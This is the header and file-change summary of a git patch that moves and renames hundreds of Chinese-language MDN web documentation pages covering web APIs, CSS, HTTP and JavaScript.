From 310fd066e91f454b990372ffa30e803cc8120975 Mon Sep 17 00:00:00 2001 From: Florian Merz Date: Thu, 11 Feb 2021 12:56:40 +0100 Subject: unslug zh-cn: move --- .../using_the_aria-hidden_attribute/index.html | 94 + .../using_the_button_role/index.html | 122 - .../index.html" | 94 - .../aria/roles/button_role/index.html | 122 + .../web/accessibility/web_development/index.html | 48 - .../zh-cn/web/api/abortcontroller/abort/index.html | 85 + .../api/abortcontroller/abortcontroller/index.html | 85 + files/zh-cn/web/api/abortcontroller/index.html | 106 + .../zh-cn/web/api/ambient_light_events/index.html | 74 + .../api/ambientlightsensor/illuminance/index.html | 94 + .../web/api/ambientlightsensor/reading/index.html | 94 - files/zh-cn/web/api/analysernode/fft/index.html | 7 - .../web/api/audiocontext/createanalyser/index.html | 154 -- .../api/audiocontext/createbiquadfilter/index.html | 139 - .../web/api/audiocontext/createbuffer/index.html | 181 -- .../api/audiocontext/createbuffersource/index.html | 150 - .../audiocontext/createchannelmerger/index.html | 143 - .../audiocontext/createchannelsplitter/index.html | 138 - .../api/audiocontext/createconvolver/index.html | 131 - .../web/api/audiocontext/createdelay/index.html | 213 -- .../audiocontext/createscriptprocessor/index.html | 199 -- .../api/audiocontext/createwaveshaper/index.html | 133 - .../web/api/audiocontext/currenttime/index.html | 112 - .../api/audiocontext/decodeaudiodata/index.html | 223 -- .../web/api/audiocontext/destination/index.html | 114 - .../zh-cn/web/api/audiocontext/listener/index.html | 112 - .../audiocontext/mozaudiochanneltype/index.html | 95 - .../web/api/audiocontext/onstatechange/index.html | 101 - .../web/api/audiocontext/samplerate/index.html | 112 - files/zh-cn/web/api/audiocontext/state/index.html | 111 - .../api/audionode/connect(audioparam)/index.html | 163 -- .../api/baseaudiocontext/createanalyser/index.html | 154 ++ .../baseaudiocontext/createbiquadfilter/index.html | 139 + .../api/baseaudiocontext/createbuffer/index.html | 181 ++ .../baseaudiocontext/createbuffersource/index.html | 150 + .../createchannelmerger/index.html | 143 + .../createchannelsplitter/index.html | 138 + .../baseaudiocontext/createconvolver/index.html | 131 + .../api/baseaudiocontext/createdelay/index.html | 213 ++ .../createscriptprocessor/index.html | 199 ++ .../baseaudiocontext/createwaveshaper/index.html | 133 + .../api/baseaudiocontext/currenttime/index.html | 112 + .../baseaudiocontext/decodeaudiodata/index.html | 223 ++ .../api/baseaudiocontext/destination/index.html | 114 + .../web/api/baseaudiocontext/listener/index.html | 112 + .../api/baseaudiocontext/onstatechange/index.html | 101 + .../web/api/baseaudiocontext/samplerate/index.html | 112 + .../web/api/baseaudiocontext/state/index.html | 111 + .../api/broadcastchannel/message_event/index.html | 167 ++ .../drawing_graphics_with_canvas/index.html | 163 -- .../web/api/canvascapturemediastream/index.html | 103 - .../api/canvascapturemediastreamtrack/index.html | 103 + .../using_channel_messaging/index.html | 179 ++ .../index.html" | 179 -- .../web/api/crypto/getrandomvalues/index.html | 77 + files/zh-cn/web/api/cssmatrix/index.html | 94 - files/zh-cn/web/api/csspagerule/index.html | 65 + .../index.html" | 65 - files/zh-cn/web/api/deviceacceleration/index.html | 47 - .../devicelightevent/using_light_events/index.html | 74 - .../api/devicemotioneventacceleration/index.html | 47 + .../simple_document.cookie_framework/index.html | 218 -- .../web/api/document/elementfrompoint/index.html | 45 - .../web/api/document/elementsfrompoint/index.html | 129 - files/zh-cn/web/api/document/fullscreen/index.html | 108 + .../web/api/document/fullscreenenabled/index.html | 82 + .../zh-cn/web/api/document/getselection/index.html | 15 - .../web/api/document/inputencoding/index.html | 21 - .../web/api/document/mozfullscreen/index.html | 108 - .../api/document/mozfullscreenelement/index.html | 77 - .../api/document/mozfullscreenenabled/index.html | 82 - .../api/document/onafterscriptexecute/index.html | 44 + .../web/api/document/pointerlockelement/index.html | 105 - .../api/document/readystatechange_event/index.html | 149 + .../web/api/document/rouchmove_event/index.html | 171 -- .../zh-cn/web/api/document/stylesheets/index.html | 26 - .../web/api/document/touchmove_event/index.html | 171 ++ .../api/document_object_model/preface/index.html | 52 - .../index.html | 338 +++ .../fullscreenelement/index.html | 77 + .../pointerlockelement/index.html | 105 + files/zh-cn/web/api/element/accesskey/index.html | 23 - .../web/api/element/activate_event/index.html | 108 - .../element/afterscriptexecute_event/index.html | 57 + .../element/beforescriptexecute_event/index.html | 57 + files/zh-cn/web/api/element/blur_event/index.html | 150 + .../api/element/compositionend_event/index.html | 146 + .../api/element/compositionstart_event/index.html | 152 ++ .../api/element/compositionupdate_event/index.html | 145 + files/zh-cn/web/api/element/copy_event/index.html | 164 ++ files/zh-cn/web/api/element/cut_event/index.html | 159 ++ .../web/api/element/domactivate_event/index.html | 108 + files/zh-cn/web/api/element/error_event/index.html | 135 + files/zh-cn/web/api/element/focus_event/index.html | 137 + .../web/api/element/focusout_event/index.html | 125 + .../web/api/element/mousewheel_event/index.html | 181 ++ files/zh-cn/web/api/element/name/index.html | 71 - .../api/element/onafterscriptexecute/index.html | 44 - .../web/api/element/ongotpointercapture/index.html | 143 - files/zh-cn/web/api/element/paste_event/index.html | 103 + .../web/api/elementcssinlinestyle/style/index.html | 80 + files/zh-cn/web/api/entity/index.html | 52 - files/zh-cn/web/api/event.altkey/index.html | 44 - files/zh-cn/web/api/event.button/index.html | 82 - files/zh-cn/web/api/event.relatedtarget/index.html | 124 - files/zh-cn/web/api/event.shiftkey/index.html | 41 - files/zh-cn/web/api/event/cancelbubble/index.html | 93 + files/zh-cn/web/api/event/createevent/index.html | 35 - files/zh-cn/web/api/event/deeppath/index.html | 90 - .../index.html" | 93 - files/zh-cn/web/api/eventsource/close/index.html | 138 + .../web/api/eventsource/eventsource/index.html | 149 + files/zh-cn/web/api/eventsource/index.html | 155 ++ files/zh-cn/web/api/eventsource/onerror/index.html | 122 + files/zh-cn/web/api/eventsource/onopen/index.html | 123 + .../web/api/eventtarget/attachevent/index.html | 9 - .../web/api/eventtarget/detachevent/index.html | 97 - .../zh-cn/web/api/eventtarget/fireevent/index.html | 93 - .../zh-cn/web/api/fetchcontroller/abort/index.html | 85 - .../api/fetchcontroller/abortcontroller/index.html | 85 - files/zh-cn/web/api/fetchcontroller/index.html | 106 - files/zh-cn/web/api/fetchobserver/index.html | 145 - .../introduction/index.html | 210 ++ .../web/api/filereader/abort_event/index.html | 175 ++ .../index.html" | 175 -- files/zh-cn/web/api/formdata/delete/index.html | 71 + .../formdata/\345\210\240\351\231\244/index.html" | 71 - .../zh-cn/web/api/fullscreen_api/guide/index.html | 235 ++ .../\346\214\207\345\215\227/index.html" | 235 -- .../api/geolocation/using_geolocation/index.html | 303 -- files/zh-cn/web/api/geolocation_api/index.html | 303 ++ .../api/geolocationposition/timestamp/index.html | 49 + .../index.html" | 49 - .../globaleventhanders.ontouchmove/index.html | 125 - .../ondurationchange/index.html | 52 + .../index.html" | 52 - .../web/api/htmlanchorelement/referrer/index.html | 116 - .../htmlanchorelement/referrerpolicy/index.html | 116 + .../api/htmlcanvaselement/capturestream/index.html | 122 + .../index.html" | 122 - .../zh-cn/web/api/htmlelement/accesskey/index.html | 23 + .../api/htmlelement/animationend_event/index.html | 92 + .../htmlelement/animationstart_event/index.html | 89 + files/zh-cn/web/api/htmlelement/blur/index.html | 24 - .../web/api/htmlelement/change_event/index.html | 124 + files/zh-cn/web/api/htmlelement/dataset/index.html | 123 - files/zh-cn/web/api/htmlelement/focus/index.html | 158 -- .../zh-cn/web/api/htmlelement/innertext/index.html | 92 + .../web/api/htmlelement/input_event/index.html | 157 ++ files/zh-cn/web/api/htmlelement/nonce/index.html | 60 - files/zh-cn/web/api/htmlelement/style/index.html | 80 - .../zh-cn/web/api/htmlelement/tabindex/index.html | 49 - .../api/htmlelement/transitionend_event/index.html | 132 + .../api/htmlhyperlinkelementutils/hash/index.html | 109 + .../api/htmlhyperlinkelementutils/href/index.html | 108 + .../web/api/htmlhyperlinkelementutils/index.html | 83 + .../htmlhyperlinkelementutils/origin/index.html | 116 + .../htmlhyperlinkelementutils/password/index.html | 104 + .../htmlhyperlinkelementutils/pathname/index.html | 110 + .../htmlhyperlinkelementutils/search/index.html | 116 + .../htmlhyperlinkelementutils/tostring/index.html | 110 + .../htmlhyperlinkelementutils/username/index.html | 102 + .../mozsetfilenamearray/index.html | 49 - .../web/api/htmlorforeignelement/blur/index.html | 24 + .../api/htmlorforeignelement/dataset/index.html | 123 + .../web/api/htmlorforeignelement/focus/index.html | 158 ++ .../web/api/htmlorforeignelement/nonce/index.html | 60 + .../api/htmlorforeignelement/tabindex/index.html | 49 + files/zh-cn/web/api/index/index.html | 6 + .../timing_element_visibility/index.html | 562 ++++ .../index.html" | 562 ---- .../zh-cn/web/api/mediastream.addtrack/index.html | 122 - .../zh-cn/web/api/mediastream/addtrack/index.html | 122 + files/zh-cn/web/api/msselection/index.html | 103 - files/zh-cn/web/api/namelist/index.html | 48 - .../zh-cn/web/api/navigatorgeolocation/index.html | 105 - .../index.html" | 38 - files/zh-cn/web/api/node/baseuriobject/index.html | 19 - files/zh-cn/web/api/node/innertext/index.html | 92 - files/zh-cn/web/api/node/nodeprincipal/index.html | 19 - files/zh-cn/web/api/node/outertext/index.html | 9 - files/zh-cn/web/api/node/rootnode/index.html | 115 - files/zh-cn/web/api/notification/sound/index.html | 129 - .../using_web_notifications/index.html | 292 -- .../using_the_notifications_api/index.html | 292 ++ .../api/offlineaudiocontext/complete/index.html | 81 - .../offlineaudiocontext/complete_event/index.html | 81 + .../api/payment_request_api/concepts/index.html | 128 + files/zh-cn/web/api/payment_request_api/index.html | 136 + files/zh-cn/web/api/performance/memory/index.html | 42 + .../\345\206\205\345\255\230/index.html" | 42 - files/zh-cn/web/api/pointer_lock_api/index.html | 267 ++ .../web/api/push_api/using_the_push_api/index.html | 424 --- .../api/randomsource/getrandomvalues/index.html | 77 - files/zh-cn/web/api/randomsource/index.html | 107 - files/zh-cn/web/api/response/clone/index.html | 143 + .../response/\345\205\213\351\232\206/index.html" | 143 - .../icecandidate_event/index.html | 135 + .../using_screen_capture/index.html | 355 +++ .../index.html" | 355 --- .../api/selection/deletefromdocument/index.html | 107 + .../index.html" | 107 - files/zh-cn/web/api/server-sent_events/index.html | 77 + .../using_server-sent_events/index.html | 190 ++ files/zh-cn/web/api/slotable/index.html | 48 - files/zh-cn/web/api/speechrecognition/index.html | 153 ++ .../api/speechrecognition/result_event/index.html | 83 + .../zh-cn/web/api/storage/localstorage/index.html | 136 - .../zh-cn/web/api/streams_api/concepts/index.html | 118 + .../streams_api/using_readable_streams/index.html | 307 +++ .../index.html" | 307 --- .../\346\246\202\345\277\265/index.html" | 118 - files/zh-cn/web/api/textrange/text/index.html | 72 - files/zh-cn/web/api/uievent/view/index.html | 52 + .../uievent/\350\247\206\345\233\276/index.html" | 52 - files/zh-cn/web/api/url/password/index.html | 57 + .../api/url/\345\257\206\347\240\201/index.html" | 57 - files/zh-cn/web/api/urlutils/hash/index.html | 109 - files/zh-cn/web/api/urlutils/href/index.html | 108 - files/zh-cn/web/api/urlutils/index.html | 83 - files/zh-cn/web/api/urlutils/origin/index.html | 116 - files/zh-cn/web/api/urlutils/password/index.html | 104 - files/zh-cn/web/api/urlutils/pathname/index.html | 110 - files/zh-cn/web/api/urlutils/search/index.html | 116 - files/zh-cn/web/api/urlutils/tostring/index.html | 110 - files/zh-cn/web/api/urlutils/username/index.html | 102 - .../api/web_audio_api/best_practices/index.html | 100 + .../index.html" | 100 - .../structured_clone_algorithm/index.html | 108 + .../webglrenderingcontext/polygonoffset/index.html | 76 + .../index.html" | 76 - .../web/api/webrtc_api/architecture/index.html | 18 - files/zh-cn/web/api/webrtc_api/overview/index.html | 23 - .../web/api/webrtc_api/session_lifetime/index.html | 88 + .../web/api/webrtc_api/webrtc_basics/index.html | 263 -- .../zh-cn/web/api/websocket/binarytype/index.html | 56 + .../index.html" | 56 - .../websocket_server_vb.net/index.html | 270 -- .../web/api/window/afterprint_event/index.html | 102 + .../web/api/window/beforeprint_event/index.html | 100 + .../web/api/window/beforeunload_event/index.html | 104 + files/zh-cn/web/api/window/blur/index.html | 39 + .../zh-cn/web/api/window/clearinterval/index.html | 74 - .../api/window/domcontentloaded_event/index.html | 128 + files/zh-cn/web/api/window/getattention/index.html | 33 - files/zh-cn/web/api/window/load_event/index.html | 161 ++ .../zh-cn/web/api/window/onbeforeunload/index.html | 111 - files/zh-cn/web/api/window/onhashchange/index.html | 124 - files/zh-cn/web/api/window/onmouseup/index.html | 43 - files/zh-cn/web/api/window/onpopstate/index.html | 68 - files/zh-cn/web/api/window/onscroll/index.html | 54 - files/zh-cn/web/api/window/onunload/index.html | 69 - .../zh-cn/web/api/window/pageshow_event/index.html | 143 + files/zh-cn/web/api/window/restore/index.html | 17 - files/zh-cn/web/api/window/setinterval/index.html | 635 ----- files/zh-cn/web/api/window/settimeout/index.html | 476 ---- .../api/window/unhandledrejection_event/index.html | 118 + files/zh-cn/web/api/window/unload_event/index.html | 125 + files/zh-cn/web/api/window/url/index.html | 105 - .../zh-cn/web/api/window/window.blur()/index.html | 39 - files/zh-cn/web/api/windowbase64/atob/index.html | 78 - .../base64_encoding_and_decoding/index.html | 605 ---- files/zh-cn/web/api/windowbase64/btoa/index.html | 171 -- .../windoweventhandlers/onbeforeunload/index.html | 111 + .../windoweventhandlers/onhashchange/index.html | 124 + .../api/windoweventhandlers/onpopstate/index.html | 68 + .../api/windoweventhandlers/onunload/index.html | 69 + .../api/windoworworkerglobalscope/atob/index.html | 78 + .../api/windoworworkerglobalscope/btoa/index.html | 171 ++ .../clearinterval/index.html | 74 + .../cleartimeout/index.html | 150 + .../setinterval/index.html | 635 +++++ .../settimeout/index.html | 476 ++++ .../web/api/windowtimers/cleartimeout/index.html | 150 - .../api/xmlhttprequest/loadend_event/index.html | 89 + .../api/xmlhttprequest/loadstart_event/index.html | 91 + .../api/xmlhttprequest/progress_event/index.html | 146 + files/zh-cn/web/api/xmlserializer/index.html | 92 + .../web/api/\346\214\207\346\225\260/index.html" | 6 - .../concepts/index.html" | 128 - .../index.html" | 136 - .../index.html" | 153 -- .../result_event/index.html" | 83 - files/zh-cn/web/css/@viewport/height/index.html | 80 - .../zh-cn/web/css/@viewport/orientation/index.html | 110 - .../web/css/@viewport/viewport-fit/index.html | 67 - files/zh-cn/web/css/@viewport/width/index.html | 133 - files/zh-cn/web/css/@viewport/zoom/index.html | 69 - .../web/css/_colon_-moz-placeholder/index.html | 67 - files/zh-cn/web/css/_colon_any/index.html | 190 -- files/zh-cn/web/css/_colon_blank/index.html | 56 + .../index.html" | 56 - .../css/_doublecolon_-moz-placeholder/index.html | 99 - .../css/all_about_the_containing_block/index.html | 268 -- .../zh-cn/web/css/common_css_questions/index.html | 183 -- files/zh-cn/web/css/containing_block/index.html | 268 ++ .../border-radius_generator/index.html | 1599 +++++++++++ .../box-shadow_generator/index.html | 2880 ++++++++++++++++++++ .../web/css/css_background_and_borders/index.html | 155 -- .../using_css_multiple_backgrounds/index.html | 60 - .../index.html" | 1599 ----------- .../resizing_background_images/index.html | 129 + .../scaling_background_images/index.html | 129 - .../index.html | 125 + .../css_box_model/box-shadow_generator/index.html | 2880 -------------------- files/zh-cn/web/css/css_colors/index.html | 120 - .../using_multi-column_layouts/index.html | 130 + .../backwards_compatibility_of_flexbox/index.html | 121 + .../index.html" | 121 - .../css/css_flexible_box_layout/mixins/index.html | 408 --- .../index.html | 123 + .../typical_use_cases_of_flexbox/index.html | 131 + .../using_css_flexible_boxes/index.html | 408 --- .../index.html | 187 -- .../index.html" | 131 - .../index.html" | 123 - .../in_flow_and_out_of_flow/index.html | 64 + .../index.html" | 64 - files/zh-cn/web/css/css_fragmentation/index.html | 46 + .../index.html | 502 ---- .../index.html | 502 ++++ .../index.html | 593 ++++ .../index.html" | 593 ---- .../implementing_image_sprites_in_css/index.html | 49 + .../css/css_images/using_css_gradients/index.html | 717 +++++ .../consistent_list_indentation/index.html | 106 + .../using_css_counters/index.html | 120 + .../basic_concepts/index.html | 71 + .../basic_conceptsjie/index.html | 71 - .../floating_and_positioning/index.html | 132 + .../index.html" | 132 - .../adding_z-index/index.html | 158 ++ .../understanding_z_index/index.html | 47 + .../stacking_and_float/index.html | 158 ++ .../stacking_context_example_1/index.html | 133 + .../stacking_context_example_2/index.html | 142 + .../stacking_context_example_3/index.html | 190 ++ .../stacking_without_z-index/index.html | 161 ++ .../the_stacking_context/index.html | 240 ++ .../css_selectors/comparison_with_xpath/index.html | 43 - .../index.html | 68 + .../css/css_\345\210\206\347\211\207/index.html" | 46 - .../css/cssom_view/coordinate_systems/index.html | 178 ++ .../index.html" | 178 -- files/zh-cn/web/css/cursor/url/index.html | 125 - files/zh-cn/web/css/float/index.html | 247 ++ files/zh-cn/web/css/grid-template-rows/index.html | 209 ++ .../zh-cn/web/css/layout_cookbook/card/index.html | 82 + .../css/layout_cookbook/media_objects/index.html | 86 + .../\345\215\241\347\211\207/index.html" | 82 - .../index.html" | 86 - files/zh-cn/web/css/media_queries/index.html | 109 + .../media_queries/testing_media_queries/index.html | 90 + .../media_queries/using_media_queries/index.html | 412 +++ files/zh-cn/web/css/offset/index.html | 97 + files/zh-cn/web/css/overflow-wrap/index.html | 147 + .../web/css/text-decoration-thickness/index.html | 119 + files/zh-cn/web/css/timing-function/index.html | 266 -- files/zh-cn/web/css/url()/index.html | 127 + files/zh-cn/web/css/url/index.html | 127 - .../web/css/visual_formatting_model/index.html | 282 ++ files/zh-cn/web/css/word-wrap/index.html | 147 - .../web/css/\345\201\217\347\247\273/index.html" | 97 - .../index.html" | 109 - .../index.html" | 119 - .../index.html" | 209 -- .../web/demos_of_open_web_technologies/index.html | 154 ++ files/zh-cn/web/events/abort/index.html | 74 - files/zh-cn/web/events/afterprint/index.html | 102 - .../zh-cn/web/events/afterscriptexecute/index.html | 57 - files/zh-cn/web/events/animationend/index.html | 92 - files/zh-cn/web/events/animationstart/index.html | 89 - files/zh-cn/web/events/beforeprint/index.html | 100 - .../web/events/beforescriptexecute/index.html | 57 - files/zh-cn/web/events/beforeunload/index.html | 104 - files/zh-cn/web/events/blur/index.html | 150 - files/zh-cn/web/events/change/index.html | 124 - files/zh-cn/web/events/compositionend/index.html | 146 - files/zh-cn/web/events/compositionstart/index.html | 152 -- .../zh-cn/web/events/compositionupdate/index.html | 145 - files/zh-cn/web/events/copy/index.html | 164 -- files/zh-cn/web/events/cut/index.html | 159 -- files/zh-cn/web/events/domcontentloaded/index.html | 128 - files/zh-cn/web/events/error/index.html | 135 - files/zh-cn/web/events/focus/index.html | 137 - files/zh-cn/web/events/focusout/index.html | 125 - files/zh-cn/web/events/icecandidate/index.html | 135 - files/zh-cn/web/events/input/index.html | 157 -- files/zh-cn/web/events/load/index.html | 161 -- files/zh-cn/web/events/loadend/index.html | 89 - files/zh-cn/web/events/loadstart/index.html | 91 - files/zh-cn/web/events/message/index.html | 167 -- files/zh-cn/web/events/mousewheel/index.html | 181 -- files/zh-cn/web/events/pageshow/index.html | 143 - files/zh-cn/web/events/paste/index.html | 103 - .../index.html" | 149 - files/zh-cn/web/events/transitionend/index.html | 132 - .../zh-cn/web/events/unhandledrejection/index.html | 118 - files/zh-cn/web/events/unload/index.html | 125 - .../index.html" | 146 - files/zh-cn/web/guide/api/dom/index.html | 33 - files/zh-cn/web/guide/api/dom/storage/index.html | 542 ---- .../dom/the_structured_clone_algorithm/index.html | 108 - .../css/consistent_list_indentation/index.html | 106 - files/zh-cn/web/guide/css/counters/index.html | 120 - .../web/guide/css/css_image_sprites/index.html | 49 - .../css/css\345\237\272\347\241\200/index.html" | 57 - .../web/guide/css/getting_started/boxes/index.html | 331 --- .../cascading_and_inheritance/index.html | 125 - .../web/guide/css/getting_started/color/index.html | 333 --- .../guide/css/getting_started/content/index.html | 160 -- .../css/getting_started/how_css_works/index.html | 121 - .../zh-cn/web/guide/css/getting_started/index.html | 59 - .../css/getting_started/javascript/index.html | 172 -- .../guide/css/getting_started/layout/index.html | 368 --- .../web/guide/css/getting_started/lists/index.html | 324 --- .../web/guide/css/getting_started/media/index.html | 391 --- .../css/getting_started/readable_css/index.html | 167 -- .../guide/css/getting_started/selectors/index.html | 414 --- .../css/getting_started/svg_and_css/index.html | 191 -- .../guide/css/getting_started/tables/index.html | 509 ---- .../css/getting_started/text_styles/index.html | 158 -- .../css/getting_started/what_is_css/index.html | 115 - .../css/getting_started/why_use_css/index.html | 105 - files/zh-cn/web/guide/css/media_queries/index.html | 412 --- .../guide/css/scaling_background_images/index.html | 114 - .../web/guide/css/testing_media_queries/index.html | 90 - .../adding_z-index/index.html | 158 -- .../web/guide/css/understanding_z_index/index.html | 47 - .../stacking_and_float/index.html | 158 -- .../stacking_context_example_1/index.html | 133 - .../stacking_context_example_2/index.html | 142 - .../stacking_context_example_3/index.html | 190 -- .../stacking_without_z-index/index.html | 161 -- .../the_stacking_context/index.html | 240 -- .../web/guide/css/using_css_gradients/index.html | 717 ----- .../css/using_multi-column_layouts/index.html | 130 - .../using_the__colon_target_selector/index.html | 68 - .../guide/css/visual_formatting_model/index.html | 282 -- .../web/guide/html/content_editable/index.html | 219 -- .../rich-text_editing_in_mozilla/index.html | 272 -- .../web/guide/html/editable_content/index.html | 219 ++ .../rich-text_editing_in_mozilla/index.html | 272 ++ files/zh-cn/web/guide/html/email_links/index.html | 86 - .../zh-cn/web/guide/html/forms_in_html/index.html | 144 - files/zh-cn/web/guide/html/html/index.html | 181 -- .../guide/html/html5/html5_element_list/index.html | 591 ---- .../html5/html5_thematic_classification/index.html | 169 -- .../index.html | 377 --- .../index.html | 213 -- .../guide/html/using_data_attributes/index.html | 80 - .../html/using_html5_audio_and_video/index.html | 275 -- .../using_html_sections_and_outlines/index.html | 377 +++ .../introduction_to_web_development/index.html | 28 + files/zh-cn/web/guide/woff/index.html | 61 + .../web/html/attributes/autocomplete/index.html | 258 ++ .../web/html/attributes/crossorigin/index.html | 155 ++ .../index.html" | 258 -- .../web/html/cors_settings_attributes/index.html | 155 -- .../index.html | 100 - files/zh-cn/web/html/element/command/index.html | 139 - files/zh-cn/web/html/element/element/index.html | 112 - .../zh-cn/web/html/element/input/month/index.html | 457 ++++ .../zh-cn/web/html/element/input/range/index.html | 515 ++++ .../input/\346\234\210\344\273\275/index.html" | 457 ---- .../input/\350\214\203\345\233\264/index.html" | 515 ---- .../web/html/focus_management_in_html/index.html | 79 - .../web/html/global_attributes/dropzone/index.html | 94 - .../x-ms-acceleratorkey/index.html | 41 + .../x-ms-format-detection/index.html | 43 + .../index.html" | 41 - .../index.html" | 43 - .../index.html | 29 - .../web/html/supported_media_formats/index.html | 563 ---- .../zh-cn/web/http/access_control_cors/index.html | 510 ---- .../web/http/basics_of_http/data_uris/index.html | 116 + files/zh-cn/web/http/caching/index.html | 163 ++ files/zh-cn/web/http/caching_faq/index.html | 163 -- .../index.html" | 248 -- .../list_of_default_accept_values/index.html | 248 ++ .../errors/corsmissingallowcredentials/index.html | 32 + .../index.html" | 32 - files/zh-cn/web/http/cors/index.html | 510 ++++ files/zh-cn/web/http/data_uris/index.html | 116 - files/zh-cn/web/http/feature_policy/index.html | 153 ++ .../feature_policy/using_feature_policy/index.html | 140 + .../headers/strict-transport-security/index.html | 121 + .../http/headers/x-dns-prefetch-control/index.html | 97 + .../web/http/headers/x-frame-options/index.html | 161 ++ .../zh-cn/web/http/http_response_codes/index.html | 13 - .../http/http_strict_transport_security/index.html | 121 - .../proxy_auto-configuration_(pac)_file/index.html | 729 ----- .../proxy_auto-configuration_pac_file/index.html | 729 +++++ .../web/http/server-side_access_control/index.html | 249 -- files/zh-cn/web/http/x-frame-options/index.html | 161 -- .../index.html" | 153 -- .../using_feature_policy/index.html" | 140 - .../index.html" | 544 ---- .../web/javascript/getting_started/index.html | 294 -- files/zh-cn/web/javascript/guide/about/index.html | 136 - .../guide/javascript_overview/index.html | 136 - .../regular_expressions/boundaries/index.html | 7 - .../regular_expressions/quantifiers/index.html | 170 ++ .../\351\207\217\350\257\215/index.html" | 170 -- .../index.html | 362 --- .../index.html | 436 --- .../index.html" | 292 -- .../reference/classes/class_elements/index.html | 352 --- .../classes/public_class_fields/index.html | 352 +++ .../errors/cant_assign_to_property/index.html | 52 + .../index.html" | 52 - .../global_objects/array/prototype/index.html | 178 -- .../arraybuffer/prototype/index.html | 64 - .../asyncfunction/prototype/index.html | 57 - .../global_objects/asynciterator/index.html | 119 - .../global_objects/boolean/prototype/index.html | 76 - .../global_objects/dataview/prototype/index.html | 103 - .../global_objects/date/prototype/index.html | 181 -- .../global_objects/error/prototype/index.html | 162 -- .../global_objects/evalerror/prototype/index.html | 85 - .../global_objects/function/prototype/index.html | 139 - .../generatorfunction/prototype/index.html | 65 - .../intl/datetimeformat/prototype/index.html | 120 - .../global_objects/map/prototype/index.html | 131 - .../reference/global_objects/math/acosh/index.html | 91 + .../index.html" | 91 - .../global_objects/number/prototype/index.html | 132 - .../global_objects/object/prototype/index.html | 195 -- .../global_objects/promise/prototype/index.html | 116 - .../global_objects/proxy/handler/apply/index.html | 117 - .../proxy/handler/construct/index.html | 130 - .../proxy/handler/defineproperty/index.html | 181 -- .../proxy/handler/deleteproperty/index.html | 149 - .../global_objects/proxy/handler/get/index.html | 177 -- .../handler/getownpropertydescriptor/index.html | 168 -- .../proxy/handler/getprototypeof/index.html | 141 - .../global_objects/proxy/handler/has/index.html | 176 -- .../global_objects/proxy/handler/index.html | 77 - .../proxy/handler/isextensible/index.html | 123 - .../proxy/handler/ownkeys/index.html | 193 -- .../proxy/handler/preventextensions/index.html | 120 - .../global_objects/proxy/handler/set/index.html | 125 - .../proxy/handler/setprototypeof/index.html | 124 - .../global_objects/proxy/proxy/apply/index.html | 117 + .../proxy/proxy/construct/index.html | 130 + .../proxy/proxy/defineproperty/index.html | 181 ++ .../proxy/proxy/deleteproperty/index.html | 149 + .../global_objects/proxy/proxy/get/index.html | 177 ++ .../proxy/getownpropertydescriptor/index.html | 168 ++ .../proxy/proxy/getprototypeof/index.html | 141 + .../global_objects/proxy/proxy/has/index.html | 176 ++ .../proxy/proxy/isextensible/index.html | 123 + .../global_objects/proxy/proxy/ownkeys/index.html | 193 ++ .../proxy/proxy/preventextensions/index.html | 120 + .../global_objects/proxy/proxy/set/index.html | 125 + .../proxy/proxy/setprototypeof/index.html | 124 + .../global_objects/rangeerror/prototype/index.html | 89 - .../referenceerror/prototype/index.html | 93 - .../index.html | 134 + .../index.html" | 134 - .../global_objects/regexp/prototype/index.html | 153 -- .../sharedarraybuffer/prototype/index.html | 63 - .../global_objects/string/prototype/index.html | 187 -- .../global_objects/string/trimend/index.html | 84 + .../global_objects/string/trimleft/index.html | 122 - .../global_objects/string/trimright/index.html | 84 - .../global_objects/string/trimstart/index.html | 122 + .../global_objects/symbol/prototype/index.html | 67 - .../syntaxerror/prototype/index.html | 133 - .../global_objects/typedarray/prototype/index.html | 172 -- .../global_objects/typeerror/prototype/index.html | 94 - .../global_objects/urierror/prototype/index.html | 83 - .../global_objects/weakmap/prototype/index.html | 138 - .../global_objects/weakset/prototype/index.html | 115 - .../reference/operators/addition/index.html | 79 + .../operators/arithmetic_operators/index.html | 302 -- .../operators/assignment_operators/index.html | 413 --- .../reference/operators/async_function/index.html | 98 + .../index.html" | 98 - .../reference/operators/bitwise_and/index.html | 106 + .../operators/bitwise_operators/index.html | 756 ----- .../operators/comparison_operators/index.html | 278 -- .../reference/operators/decrement/index.html | 85 + .../reference/operators/equality/index.html | 125 + .../reference/operators/logical_and/index.html | 137 + .../operators/logical_operators/index.html | 238 -- .../operators/optional_chaining/index.html | 202 ++ .../operators/pipeline_operator/index.html | 75 + .../reference/operators/remainder/index.html | 81 + .../operators/\345\217\226\344\275\231/index.html" | 81 - .../index.html" | 202 -- .../index.html" | 106 - .../operators/\347\233\270\345\212\240/index.html" | 79 - .../operators/\347\233\270\347\255\211/index.html" | 125 - .../index.html" | 75 - .../operators/\350\207\252\345\207\217/index.html" | 85 - .../index.html" | 137 - .../javascript/reference/reserved_words/index.html | 82 - .../reference/statements/default/index.html | 120 - .../reference/template_literals/index.html | 261 ++ .../reference/template_strings/index.html | 261 -- .../index.html | 142 - .../index.html | 142 + files/zh-cn/web/localization/index.html | 36 - files/zh-cn/web/media/autoplay_guide/index.html | 265 ++ .../index.html | 100 + .../web/media/formats/video_codecs/index.html | 1673 ++++++++++++ .../index.html" | 1673 ------------ files/zh-cn/web/media/index.html | 76 + .../web/performance/how_browsers_work/index.html | 204 ++ .../index.html" | 204 -- .../add_to_home_screen/index.html | 218 ++ .../web/progressive_web_apps/loading/index.html | 152 ++ .../network_independent/index.html | 95 - .../progressive_web_apps/re-engageable/index.html | 79 - .../web/progressive_web_apps/responsive/index.html | 78 - .../responsive/media_types/index.html | 391 +++ .../\344\274\230\345\212\277/index.html" | 58 - .../\345\212\240\350\275\275/index.html" | 152 -- .../index.html" | 218 -- files/zh-cn/web/security/csp/index.html | 36 - .../introducing_content_security_policy/index.html | 56 - .../csp/using_csp_violation_reports/index.html | 97 - .../information_security_basics/index.html | 28 - .../configuring_server_mime_types/index.html | 118 - .../web/security/subresource_integrity/index.html | 199 ++ .../security/transport_layer_security/index.html | 18 + .../index.html" | 18 - .../index.html" | 199 -- files/zh-cn/web/svg/attribute/styling/index.html | 32 + .../zh-cn/web/svg/attribute/text-anchor/index.html | 95 + .../index.html" | 95 - .../attribute/\346\240\267\345\274\217/index.html" | 32 - .../zh-cn/web/svg/tutorial/svg_and_css/index.html | 191 ++ .../web/web_components/html_imports/index.html | 61 + .../html\345\257\274\345\205\245/index.html" | 61 - .../web_components/status_in_firefox/index.html | 51 - .../\345\275\261\345\255\220_dom/index.html" | 91 - .../xpath/comparison_with_css_selectors/index.html | 43 + .../index.html | 436 +++ 